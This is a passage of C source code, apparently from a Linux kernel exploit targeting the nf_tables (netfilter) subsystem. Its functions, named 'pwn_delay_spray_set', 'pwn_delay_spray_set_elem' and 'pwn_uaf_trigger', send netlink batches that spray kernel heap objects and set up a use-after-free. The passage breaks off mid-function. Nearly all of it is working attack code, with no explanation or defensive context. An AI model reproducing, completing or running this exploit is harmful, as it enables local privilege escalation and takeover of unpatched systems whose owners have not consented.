for (int spray = 1; spray < 10; ++ spray) {
char *obj_name;
asprintf(&obj_name, "spray_obj_%04hx", spray);
char obj_userdata[uaf_chunk_size];
memset(obj_userdata, 'B', sizeof(obj_userdata));
append_new_obj(batch, seq++, NFPROTO_INET, "testfirewall", obj_name, obj_userdata, sizeof(obj_userdata));
}
pwn_create_lookup_rule(batch, seq++, pwn_lookup_chain, pwn_lookup_set);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
portid = mnl_socket_get_portid(nl);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0) {
err(1, "Cannot into mnl_socket_sendto()");
}
mnl_nlmsg_batch_stop(batch);
while (table_seq + 1 != seq) {
ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
if (ret <= 0)
break;
ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
if (ret < 0)
break;
table_seq++;
}
if (ret == -1) {
err(1, "Cannot into mnl_socket_recvfrom()");
}
}
static void pwn_delay_spray_set(struct mnl_socket *nl)
{
uint32_t portid, seq, table_seq;
int ret;
printf("pwn_delay_spray_set\n");
seq = time(NULL);
struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
table_seq = seq;
mnl_nlmsg_batch_next(batch);
pwn_create_set(batch, seq++, "set_delay", 1, 0, sizeof(uint64_t), 0, NULL, 0);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
portid = mnl_socket_get_portid(nl);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0) {
err(1, "Cannot into mnl_socket_sendto()");
}
mnl_nlmsg_batch_stop(batch);
while (table_seq + 1 != seq) {
ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
if (ret <= 0)
break;
ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
if (ret < 0)
break;
table_seq++;
}
if (ret == -1) {
err(1, "Cannot into mnl_socket_recvfrom()");
}
}
static void pwn_delay_spray_set_elem(struct mnl_socket *nl, uint64_t *set_elem_key, uint64_t set_elem_key_end)
{
uint32_t portid, seq, table_seq;
int ret;
seq = time(NULL);
struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
table_seq = seq;
mnl_nlmsg_batch_next(batch);
struct nftnl_set *set = nftnl_set_alloc();
if (set == NULL) {
errx(1, "Cannot into nftnl_set_alloc()");
}
nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family);
nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table);
nftnl_set_set_str(set, NFTNL_SET_NAME, "set_delay");
uint64_t count = set_elem_key_end - (*set_elem_key);
if (count > 0x800) {
count = 0x800;
}
while (count > 0) {
-- count;
struct nftnl_set_elem *set_elem = nftnl_set_elem_alloc();
if (set_elem == NULL) {
errx(1, "Cannot into nftnl_set_elem_alloc()");
}
nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_KEY, set_elem_key, sizeof(*set_elem_key));
nftnl_set_elem_add(set, set_elem);
++ (*set_elem_key);
}
struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWSETELEM,
NFPROTO_INET,
NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK,
seq++
);
nftnl_set_elems_nlmsg_build_payload(nlh, set);
mnl_nlmsg_batch_next(batch);
nftnl_set_free(set);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
portid = mnl_socket_get_portid(nl);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0) {
err(1, "Cannot into mnl_socket_sendto()");
}
mnl_nlmsg_batch_stop(batch);
while (table_seq + 1 != seq) {
ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
if (ret <= 0)
break;
ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
if (ret < 0)
break;
table_seq++;
}
if (ret == -1) {
err(1, "Cannot into mnl_socket_recvfrom()");
}
}
static void pwn_uaf_trigger(struct mnl_socket *nl)
{
struct mnl_nlmsg_batch *batch;
uint32_t portid, seq, table_seq;
int ret;
printf("pwn_uaf_trigger\n");
seq = time(NULL);
batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);